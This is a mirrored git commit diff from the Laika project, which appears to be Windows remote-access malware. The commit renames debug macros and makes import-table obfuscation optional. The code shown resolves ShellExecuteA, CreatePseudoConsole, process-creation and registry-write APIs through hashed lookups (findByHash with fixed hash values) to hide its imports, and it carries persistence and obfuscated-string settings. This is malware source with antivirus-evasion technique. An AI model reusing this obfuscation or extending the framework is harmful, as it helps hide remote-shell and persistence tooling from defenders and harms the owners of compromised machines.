mirror of
https://github.com/CPunch/Laika.git
synced 2026-02-01 06:10:03 +00:00
minor 'DEBUG' refactoring
- for debug builds, the LAIKA_DEBUG_BUILD macro will be defined in lconfig.h - LAIKA_OBFUSCATE now controls the winobf IAT obfuscation as well
This commit is contained in:
@@ -24,8 +24,8 @@ target_link_libraries(LaikaLib PUBLIC sodium)
|
||||
# make sure we're compiled *AFTER* lboxconfig.h has been generated
|
||||
add_dependencies(LaikaLib VMBoxGen)
|
||||
|
||||
# add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug
|
||||
target_compile_definitions(LaikaLib PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
|
||||
# add the version definitions
|
||||
target_compile_definitions(LaikaLib PUBLIC)
|
||||
|
||||
# add include directory
|
||||
target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR} ${CMAKE_CURRENT_SOURCE_DIR}/libsodium/libsodium/src/libsodium/include)
|
||||
|
||||
@@ -24,10 +24,10 @@
|
||||
|
||||
/* LAIKA_ERROR(printf args):
|
||||
if called after a LAIKA_TRY block will jump to the previous LAIKA_CATCH/LAIKA_TRYEND block,
|
||||
otherwise program is exit()'d. if DEBUG is defined printf is called with passed args, else
|
||||
otherwise program is exit()'d. if LAIKA_DEBUG_BUILD is defined printf is called with passed args, else
|
||||
arguments are ignored.
|
||||
*/
|
||||
#ifndef DEBUG
|
||||
#ifndef LAIKA_DEBUG_BUILD
|
||||
# define LAIKA_ERROR(...) \
|
||||
do { \
|
||||
if (LAIKA_ISPROTECTED) \
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
#ifndef LAIKA_RSA_H
|
||||
#define LAIKA_RSA_H
|
||||
|
||||
#include "lconfig.h"
|
||||
#include "sodium.h"
|
||||
|
||||
#include <stdbool.h>
|
||||
|
||||
@@ -76,7 +76,7 @@ enum
|
||||
OP_TESTJMP, /* if stk_indx[uint8_t] != 0, pc += [int8_t] */
|
||||
|
||||
/* misc. */
|
||||
#ifdef DEBUG
|
||||
#ifdef LAIKA_DEBUG_BUILD
|
||||
OP_DEBUG
|
||||
#endif
|
||||
};
|
||||
@@ -154,7 +154,7 @@ LAIKA_FORCEINLINE void laikaV_execute(struct sLaikaV_vm *vm)
|
||||
|
||||
break;
|
||||
}
|
||||
#ifdef DEBUG
|
||||
#ifdef LAIKA_DEBUG_BUILD
|
||||
case OP_DEBUG: {
|
||||
int i;
|
||||
|
||||
|
||||
@@ -11,7 +11,7 @@
|
||||
#include <string.h>
|
||||
#include <inttypes.h>
|
||||
|
||||
#ifdef DEBUG
|
||||
#ifdef LAIKA_DEBUG_BUILD
|
||||
# define LAIKA_DEBUG(...) \
|
||||
printf("[~] " __VA_ARGS__); \
|
||||
fflush(stdout);
|
||||
|
||||
@@ -15,6 +15,7 @@
|
||||
/* settings */
|
||||
#cmakedefine LAIKA_PERSISTENCE
|
||||
#cmakedefine LAIKA_OBFUSCATE
|
||||
#cmakedefine LAIKA_DEBUG_BUILD
|
||||
|
||||
/* raw obfuscated strings */
|
||||
|
||||
|
||||
@@ -7,6 +7,7 @@
|
||||
# include <process.h>
|
||||
# include <windows.h>
|
||||
|
||||
#ifdef LAIKA_OBFUSCATE
|
||||
/* WINAPI types */
|
||||
typedef HINSTANCE(WINAPI *_ShellExecuteA)(HWND, LPCSTR, LPCSTR, LPCSTR, LPCSTR, INT);
|
||||
typedef HRESULT(WINAPI *_CreatePseudoConsole)(COORD, HANDLE, HANDLE, DWORD, HPCON *);
|
||||
@@ -25,6 +26,19 @@ extern _RegOpenKeyExA oRegOpenKeyExA;
|
||||
extern _RegCloseKey oRegCloseKey;
|
||||
extern _RegSetValueExA oRegSetValueExA;
|
||||
extern _RegQueryValueExA oRegQueryValueExA;
|
||||
#else
|
||||
|
||||
/* disabling obfuscation by macro magic :O */
|
||||
#define oShellExecuteA ShellExecuteA
|
||||
#define oCreatePseudoConsole CreatePseudoConsole
|
||||
#define oClosePseudoConsole ClosePseudoConsole
|
||||
#define oCreateProcessA CreateProcessA
|
||||
#define oRegOpenKeyExA RegOpenKeyExA
|
||||
#define oRegCloseKey RegCloseKey
|
||||
#define oRegSetValueExA RegSetValueExA
|
||||
#define oRegQueryValueExA RegQueryValueExA
|
||||
|
||||
#endif
|
||||
#endif
|
||||
|
||||
void laikaO_init();
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
#ifndef LAIKA_PACKET_H
|
||||
#define LAIKA_PACKET_H
|
||||
|
||||
#include "lconfig.h"
|
||||
#include <inttypes.h>
|
||||
|
||||
#define LAIKA_MAGIC "LAI\x12"
|
||||
@@ -121,7 +122,7 @@ enum
|
||||
typedef uint8_t LAIKAPKT_ID;
|
||||
typedef uint16_t LAIKAPKT_SIZE;
|
||||
|
||||
#ifdef DEBUG
|
||||
#ifdef LAIKA_DEBUG_BUILD
|
||||
const char *laikaD_getPacketName(LAIKAPKT_ID);
|
||||
#endif
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
#include "net/lpacket.h"
|
||||
|
||||
#ifdef DEBUG
|
||||
#ifdef LAIKA_DEBUG_BUILD
|
||||
const char *laikaD_getPacketName(LAIKAPKT_ID id)
|
||||
{
|
||||
const char *PKTNAMES[] = {"LAIKAPKT_VARPKT",
|
||||
|
||||
@@ -137,6 +137,7 @@ _findByHashFail:
|
||||
|
||||
/* ======================================[[ Exposed API ]]====================================== */
|
||||
|
||||
#ifdef LAIKA_OBFUSCATE
|
||||
_ShellExecuteA oShellExecuteA;
|
||||
_CreatePseudoConsole oCreatePseudoConsole;
|
||||
_ClosePseudoConsole oClosePseudoConsole;
|
||||
@@ -163,4 +164,10 @@ void laikaO_init()
|
||||
oRegCloseKey = (_RegCloseKey)(findByHash("advapi32.dll", 0xae0cf309));
|
||||
oRegSetValueExA = (_RegSetValueExA)(findByHash("advapi32.dll", 0xcb91dcf7));
|
||||
oRegQueryValueExA = (_RegQueryValueExA)(findByHash("advapi32.dll", 0x4298d735));
|
||||
}
|
||||
}
|
||||
#else
|
||||
void laikaO_init()
|
||||
{
|
||||
/* stubbed!! */
|
||||
}
|
||||
#endif
|
||||
Reference in New Issue
Block a user